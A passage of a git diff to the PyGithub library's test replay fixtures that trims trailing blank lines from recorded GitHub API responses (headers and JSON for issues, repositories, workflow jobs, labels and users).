('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.113217'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E9DA:0ABF:9FF928:13C4159:5B7F1A21')] {"id":1791769149,"node_id":"MDI1OkNvbnZlcnRlZE5vdGVUb0lzc3VlRXZlbnQxNzkxNzY5MTQ5","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791769149","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"event":"converted_note_to_issue","commit_id":null,"commit_url":null,"created_at":"2018-08-16T08:14:34Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/866/events","html_url":"https://github.com/PyGithub/PyGithub/issues/866","id":351101033,"node_id":"MDU6SXNzdWUzNTExMDEwMzM=","number":866,"title":"test issue to be created","user":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-08-16T08:14:33Z","updated_at":"2018-08-16T08:14:55Z","closed_at":"2018-08-16T08:14:55Z","author_association":"MEMBER","active_lock_reason":null,"body":""}} - diff --git a/tests/ReplayData/Job.setUp.txt b/tests/ReplayData/Job.setUp.txt index 1274047501..d738cbc6b7 100644 --- a/tests/ReplayData/Job.setUp.txt +++ b/tests/ReplayData/Job.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 05 Jul 2021 21:15:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f01cc10bee4cd626ffee9f8c1a1566d5c3019b7673bd84f2a2d0204bbb166ffa"'), ('Last-Modified', 'Mon, 05 Jul 2021 19:25:14 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1625522471'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDA6:4672:1B298CC:366DE7C:60E37682')] {"id":371729749,"node_id":"MDEwOlJlcG9zaXRvcnkzNzE3Mjk3NDk=","name":"github-app","full_name":"coveo/github-app","private":true,"owner":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveo/github-app","description":null,"fork":false,"url":"https://api.github.com/repos/coveo/github-app","forks_url":"https://api.github.com/repos/coveo/github-app/forks","keys_url":"https://api.github.com/repos/coveo/github-app/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveo/github-app/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveo/github-app/teams","hooks_url":"https://api.github.com/repos/coveo/github-app/hooks","issue_events_url":"https://api.github.com/repos/coveo/github-app/issues/events{/number}","events_url":"https://api.github.com/repos/coveo/github-app/events","assignees_url":"https://api.github.com/repos/coveo/github-app/assignees{/user}","branches_url":"https://api.github.com/repos/coveo/github-app/branches{/branch}","tags_url":"https://api.github.com/repos/coveo/github-app/tags","blobs_url":"https://api.github.com/repos/coveo/github-app/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveo/github-app/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveo/github-app/git/refs{/sha}","trees_url":"https://api.github.com/repos/coveo/github-app/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveo/github-app/statuses/{sha}","languages_url":"https://api.github.com/repos/coveo/github-app/languages","stargazers_url":"https://api.github.com/repos/coveo/github-app/stargazers","contributors_url":"https://api.github.com/repos/coveo/github-app/contributors","subscribers_url":"https://api.github.com/repos/coveo/github-app/subscribers","subscription_url":"https://api.github.com/repos/coveo/github-app/subscription","commits_url":"https://api.github.com/repos/coveo/github-app/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveo/github-app/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveo/github-app/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveo/github-app/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveo/github-app/contents/{+path}","compare_url":"https://api.github.com/repos/coveo/github-app/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveo/github-app/merges","archive_url":"https://api.github.com/repos/coveo/github-app/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveo/github-app/downloads","issues_url":"https://api.github.com/repos/coveo/github-app/issues{/number}","pulls_url":"https://api.github.com/repos/coveo/github-app/pulls{/number}","milestones_url":"https://api.github.com/repos/coveo/github-app/milestones{/number}","notifications_url":"https://api.github.com/repos/coveo/github-app/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveo/github-app/labels{/name}","releases_url":"https://api.github.com/repos/coveo/github-app/releases{/id}","deployments_url":"https://api.github.com/repos/coveo/github-app/deployments","created_at":"2021-05-28T14:37:57Z","updated_at":"2021-07-05T19:25:14Z","pushed_at":"2021-07-05T19:25:12Z","git_url":"git://github.com/coveo/github-app.git","ssh_url":"git@github.com:coveo/github-app.git","clone_url":"https://github.com/coveo/github-app.git","svn_url":"https://github.com/coveo/github-app","homepage":null,"size":362,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":null,"forks":0,"open_issues":3,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABL6D67GKEBABCEF4U4TA4N456","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"network_count":0,"subscribers_count":0} - diff --git a/tests/ReplayData/Job.testAttributes.txt b/tests/ReplayData/Job.testAttributes.txt index 2122441798..b550ef1a09 100644 --- a/tests/ReplayData/Job.testAttributes.txt +++ b/tests/ReplayData/Job.testAttributes.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 05 Jul 2021 21:15:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7644cae12590e0d3cd78a94ade8e0d13ef638fb8caf83314937c0ee1d173349e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1625522471'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDAA:1CC0:F29F4E:232E863:60E37683')] {"total_count":1,"jobs":[{"id":2993004021,"run_id":1002152666,"run_url":"https://api.github.com/repos/coveo/github-app/actions/runs/1002152666","node_id":"MDg6Q2hlY2tSdW4yOTkzMDA0MDIx","head_sha":"ba2ad8220081ac147afaa5e53e895a9db0ceefda","url":"https://api.github.com/repos/coveo/github-app/actions/jobs/2993004021","html_url":"https://github.com/coveo/github-app/runs/2993004021","status":"completed","conclusion":"success","started_at":"2021-07-05T19:25:20Z","completed_at":"2021-07-05T19:26:28Z","name":"stew ci","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2021-07-05T15:25:20.000-04:00","completed_at":"2021-07-05T15:25:21.000-04:00"},{"name":"Clear local workspace","status":"completed","conclusion":"success","number":2,"started_at":"2021-07-05T15:25:21.000-04:00","completed_at":"2021-07-05T15:25:21.000-04:00"},{"name":"Checkout repository","status":"completed","conclusion":"success","number":3,"started_at":"2021-07-05T15:25:21.000-04:00","completed_at":"2021-07-05T15:25:24.000-04:00"},{"name":"Setup python 3.9","status":"completed","conclusion":"success","number":4,"started_at":"2021-07-05T15:25:24.000-04:00","completed_at":"2021-07-05T15:25:24.000-04:00"},{"name":"Upgrade pip and friends","status":"completed","conclusion":"success","number":5,"started_at":"2021-07-05T15:25:24.000-04:00","completed_at":"2021-07-05T15:25:26.000-04:00"},{"name":"Install coveo-stew","status":"completed","conclusion":"success","number":6,"started_at":"2021-07-05T15:25:26.000-04:00","completed_at":"2021-07-05T15:25:41.000-04:00"},{"name":"Add python tools to path","status":"completed","conclusion":"success","number":7,"started_at":"2021-07-05T15:25:41.000-04:00","completed_at":"2021-07-05T15:25:41.000-04:00"},{"name":"Launch \"stew ci\"","status":"completed","conclusion":"success","number":8,"started_at":"2021-07-05T15:25:41.000-04:00","completed_at":"2021-07-05T15:26:28.000-04:00"},{"name":"Post Checkout repository","status":"completed","conclusion":"success","number":16,"started_at":"2021-07-05T15:26:28.000-04:00","completed_at":"2021-07-05T15:26:28.000-04:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":20,"started_at":"2021-07-05T15:26:28.000-04:00","completed_at":"2021-07-05T15:26:28.000-04:00"}],"check_run_url":"https://api.github.com/repos/coveo/github-app/check-runs/2993004021"}]} - diff --git a/tests/ReplayData/Label.setUp.txt b/tests/ReplayData/Label.setUp.txt index 7291840131..0dafe60777 100644 --- a/tests/ReplayData/Label.setUp.txt +++ b/tests/ReplayData/Label.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fe2e942523eecb156d100829a6347516"'), ('date', 'Sat, 19 May 2012 09:40:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"} - diff --git a/tests/ReplayData/Label.testDelete.txt b/tests/ReplayData/Label.testDelete.txt index 9f1f1d8ad6..41495db56c 100644 --- a/tests/ReplayData/Label.testDelete.txt +++ b/tests/ReplayData/Label.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4961'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 10:17:53 GMT')] - - diff --git a/tests/ReplayData/Label.testEdit.txt b/tests/ReplayData/Label.testEdit.txt index ae83d78f21..ed6804593b 100644 --- a/tests/ReplayData/Label.testEdit.txt +++ b/tests/ReplayData/Label.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '133'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"57435796bd4f14b84ad92105669cfab1"'), ('date', 'Sat, 19 May 2012 10:17:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/LabelEditedByPyGithub","name":"LabelEditedByPyGithub","color":"0000ff","description":"Description of LabelEditedByPyGithub"} - diff --git a/tests/ReplayData/LazyRepository.testGetUser.txt b/tests/ReplayData/LazyRepository.testGetUser.txt index f567fa8271..57bd0bfd1a 100644 --- a/tests/ReplayData/LazyRepository.testGetUser.txt +++ b/tests/ReplayData/LazyRepository.testGetUser.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '1304'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '07ff1c8a09e44b62e277fae50a1b1dc4'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"6754cf6361cd6d31646de909f5c90146"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1E63:532872:5514C5BC'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:25:51 GMT'), ('date', 'Fri, 27 Mar 2015 02:51:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false,"name":"Uriel Corfa","company":"","blog":"http://korfuri.fr/","location":"","email":"uriel@corfa.fr","hireable":false,"bio":null,"public_repos":12,"public_gists":0,"followers":29,"following":57,"created_at":"2011-10-13T02:27:26Z","updated_at":"2015-03-27T02:25:51Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":444,"collaborators":0,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} - diff --git a/tests/ReplayData/LazyRepository.testOwner.txt b/tests/ReplayData/LazyRepository.testOwner.txt index 96d38f2a62..87b3421336 100644 --- a/tests/ReplayData/LazyRepository.testOwner.txt +++ b/tests/ReplayData/LazyRepository.testOwner.txt @@ -19,4 +19,3 @@ None 200 [('content-length', '13643'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '76d9828c7e4f1d910f7ba069e90ce976'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"4a598c12d70d21ed45f8cc87ca10c0ef"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1A8F:54374C:5514C7D9'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:56:43 GMT'), ('date', 'Fri, 27 Mar 2015 03:00:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"id":32964720,"name":"PyGithub","full_name":"korfuri/PyGithub","owner":{"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/korfuri/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/korfuri/PyGithub","forks_url":"https://api.github.com/repos/korfuri/PyGithub/forks","keys_url":"https://api.github.com/repos/korfuri/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/korfuri/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/korfuri/PyGithub/teams","hooks_url":"https://api.github.com/repos/korfuri/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/korfuri/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/korfuri/PyGithub/events","assignees_url":"https://api.github.com/repos/korfuri/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/korfuri/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/korfuri/PyGithub/tags","blobs_url":"https://api.github.com/repos/korfuri/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/korfuri/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/korfuri/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/korfuri/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/korfuri/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/korfuri/PyGithub/languages","stargazers_url":"https://api.github.com/repos/korfuri/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/korfuri/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/korfuri/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/korfuri/PyGithub/subscription","commits_url":"https://api.github.com/repos/korfuri/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/korfuri/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/korfuri/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/korfuri/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/korfuri/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/korfuri/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/korfuri/PyGithub/merges","archive_url":"https://api.github.com/repos/korfuri/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/korfuri/PyGithub/downloads","issues_url":"https://api.github.com/repos/korfuri/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/korfuri/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/korfuri/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/korfuri/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/korfuri/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/korfuri/PyGithub/releases{/id}","created_at":"2015-03-27T02:56:40Z","updated_at":"2015-03-27T02:56:43Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/korfuri/PyGithub.git","ssh_url":"git@github.com:korfuri/PyGithub.git","clone_url":"https://github.com/korfuri/PyGithub.git","svn_url":"https://github.com/korfuri/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":32905113,"name":"PyGithub","full_name":"Jucyio/PyGithub","owner":{"login":"Jucyio","id":11623651,"avatar_url":"https://avatars.githubusercontent.com/u/11623651?v=3","gravatar_id":"","url":"https://api.github.com/users/Jucyio","html_url":"https://github.com/Jucyio","followers_url":"https://api.github.com/users/Jucyio/followers","following_url":"https://api.github.com/users/Jucyio/following{/other_user}","gists_url":"https://api.github.com/users/Jucyio/gists{/gist_id}","starred_url":"https://api.github.com/users/Jucyio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jucyio/subscriptions","organizations_url":"https://api.github.com/users/Jucyio/orgs","repos_url":"https://api.github.com/users/Jucyio/repos","events_url":"https://api.github.com/users/Jucyio/events{/privacy}","received_events_url":"https://api.github.com/users/Jucyio/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/Jucyio/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Jucyio/PyGithub","forks_url":"https://api.github.com/repos/Jucyio/PyGithub/forks","keys_url":"https://api.github.com/repos/Jucyio/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Jucyio/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Jucyio/PyGithub/teams","hooks_url":"https://api.github.com/repos/Jucyio/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Jucyio/PyGithub/events","assignees_url":"https://api.github.com/repos/Jucyio/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Jucyio/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Jucyio/PyGithub/tags","blobs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Jucyio/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Jucyio/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Jucyio/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Jucyio/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Jucyio/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Jucyio/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Jucyio/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Jucyio/PyGithub/subscription","commits_url":"https://api.github.com/repos/Jucyio/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Jucyio/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Jucyio/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Jucyio/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Jucyio/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Jucyio/PyGithub/merges","archive_url":"https://api.github.com/repos/Jucyio/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Jucyio/PyGithub/downloads","issues_url":"https://api.github.com/repos/Jucyio/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Jucyio/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Jucyio/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Jucyio/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Jucyio/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Jucyio/PyGithub/releases{/id}","created_at":"2015-03-26T03:17:03Z","updated_at":"2015-03-26T03:17:05Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/Jucyio/PyGithub.git","ssh_url":"git@github.com:Jucyio/PyGithub.git","clone_url":"https://github.com/Jucyio/PyGithub.git","svn_url":"https://github.com/Jucyio/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions